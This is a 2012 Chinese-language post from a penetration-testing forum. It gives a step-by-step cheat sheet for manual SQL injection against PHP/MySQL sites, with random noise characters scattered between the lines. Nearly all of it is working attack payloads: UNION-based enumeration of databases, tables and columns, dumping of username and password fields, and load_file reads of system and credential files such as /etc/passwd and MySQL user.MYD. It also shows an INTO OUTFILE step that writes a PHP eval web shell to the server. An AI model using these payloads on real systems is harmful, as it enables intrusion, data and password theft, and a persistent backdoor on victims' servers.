中国网络渗透测试联盟
标题:
PHP+MySQL 手工注入语句
[打印本页]
作者:
admin
时间:
2012-9-15 13:50
标题:
PHP+MySQL 手工注入语句
.
6 G: S/ H/ t |- F) I) `
3 g M7 G- g% I, {9 u3 u' Z t% U
暴字段长度
. b( \2 A: O: \9 R
Order by num/*
4 \/ h, s( S& e. g7 O
匹配字段
4 s) c6 @# u+ Z$ I' T2 ^
and 1=1 union select 1,2,3,4,5…….n/*
0 c, @5 N& Z2 P' _
暴字段位置
e4 i. t5 q1 n8 ]- ]: K
and 1=2 union select 1,2,3,4,5…..n/*
1 K) I9 k1 Q+ f! [
利用内置函数暴数据库信息
" T/ x2 V( a" j
version() database() user()
0 F# t; d: l. @5 |& I
不用猜解可用字段暴数据库信息(有些网站不适用):
: n# ~; l# L- _: w6 M% l9 J2 U; V; Z
and 1=2 union all select version() /*
0 z+ Z2 ?& V3 x' F) K
and 1=2 union all select database() /*
) ?8 @/ [* m$ Q* T- ]' C1 f5 ~/ X
and 1=2 union all select user() /*
2 H5 @' [, Y. h# w- F3 E% B" ]2 e
操作系统信息：
) G& Q. H2 C( ?- [
and 1=2 union all select @@global.version_compile_os from mysql.user /*
! B* x: M: ^' q ]" @3 \ a
数据库权限：
. d. q2 R# z0 f
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
M" k: E$ }) }8 d7 d: v
暴库 (mysql>5.0)
! c( U/ m% \* t: N+ ?
Mysql 5 以上有内置库 information_schema，存储着mysql的所有数据库和表结构信息
) v. [# I( w9 G2 C
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
5 [6 d' ^3 ~2 i; X
猜表
% A- M+ {5 w6 o& S/ O
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库（十六进制） limit 0（开始的记录，0为第一个开始记录）,1（显示1条记录）—
7 _9 `! g7 Y3 S. Q+ G# ~3 m9 d
猜字段
& D" o2 K' q5 v
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名（十六进制）limit 0,1
$ O+ F' ^) f6 L# H$ [$ z( g
暴密码
: h( T- c r, L- }1 M
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
, E8 s$ c) A+ h/ Q( J, x+ M
高级用法（一个可用字段显示两个数据内容）：
0 y! Z' ?# N3 M b
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
: }; C$ i, V' G1 v9 Y
直接写马(Root权限)
0 W" A" O0 Y) [0 n y/ n2 n
条件：1、知道站点物理路径
! @; Q# N7 q }: u* X3 A- s
2、有足够大的权限（可以用select …. from mysql.user测试）
4 k% N2 W/ o' y, f
3、magic_quotes_gpc()=OFF
( O% J, L( O" U8 ]
select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径'
/ l4 l& [+ e {3 E+ `$ t% @
and 1=2 union all select 一句话HEX值 into outfile '路径'
$ Y& K7 S( \8 \ }+ [5 M' k
load_file() 常用路径：
' [. J5 a6 G% t% A; W& x) S
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
! ^$ X3 G' f$ w7 [1 f7 |
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
& K/ {3 Y% Y t' x
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
: x. w) V5 |3 {! u! t' H5 m8 `
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
: X4 M o& U. ?2 n
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
9 X" t7 L5 {; ]' n" x" I( p
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
* O+ N8 Q( t) ]" B1 Z( k# t: S
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
# S, U f/ R7 K
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
, r! j6 R. N/ h. y. O6 v- C+ {- _3 F
8、d:\APACHE\Apache2\conf\httpd.conf
9 W# F& z' Q' ]5 L7 z
9、C:\Program Files\mysql\my.ini
+ |+ R7 b- _+ J9 R; V+ M1 b
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
" V) j7 k% }* u& b0 m8 e0 n \( y
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
) }# F! m0 p1 p/ v# {; H
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
* g9 i. P4 [' o1 Q) h: n
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
" r1 d \; \, l$ R0 m4 P
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
4 I: _5 L. v8 U$ [4 X, |6 H
15、 /etc/sysconfig/iptables 本看防火墙策略
* T. D8 q5 A! Q8 W. \" o& ^$ W
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
( _# Z# _6 \0 U% p5 |6 m) C( D
17 、/etc/my.cnf MYSQL的配置文件
% P" G0 h% ~0 E1 W
18、 /etc/redhat-release 红帽子的系统版本
" I: G* K- x5 A' I* V( ?5 U' p
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
& x. ~, z' k M' i# u- O
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
, c2 H5 D4 X& v. m; y& x Y
21、/usr/local/app/php5 b/php.ini //PHP相关设置
n3 f8 P$ T, h9 g+ z: v
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
' e X* ^0 k! q4 T4 T
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
* b0 m- u( o9 D% z% \
24、c:\windows\my.ini
+ t$ ]; m& S4 K _ X' g
25、c:\boot.ini
`, N% O, `2 `& p, f" }. ]$ \
网站常用配置文件 config.inc.php、config.php。load_file（）时要用replace（load_file(HEX)，char(60),char(32)）
$ ~, W( q+ f: h2 W' w
注：
+ l( Q o- n' I1 W- R. U1 Z5 v2 B# O+ ^
Char(60)表示 <
p1 x$ z0 n( a; K+ A+ X
Char（32）表示 空格
- N$ i# ], i6 r% v% C# W0 t6 f6 n
手工注射时出现的问题：
G ]" T5 h( `
当注射后页面显示：
K% t4 M' p. E7 V+ K& s
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
0 j/ a, D/ c; b" @/ ^" G
如：
http://www.hake.ccc./mse/researc ... 0union%20select%201
,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
2 Q2 o/ _; T# J( {: S8 g
这是由于前后编码不一致造成的，
* V7 f, ]2 [) D% h6 f- j0 w& n
解决方法：在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为：
, e4 F: S- I0 L1 O2 D
http://www.hake.cc/mse/research/ ... 0union%20select%201
,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
. x" U$ V8 h( Z8 `8 Y
既可以继续注射了。。。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2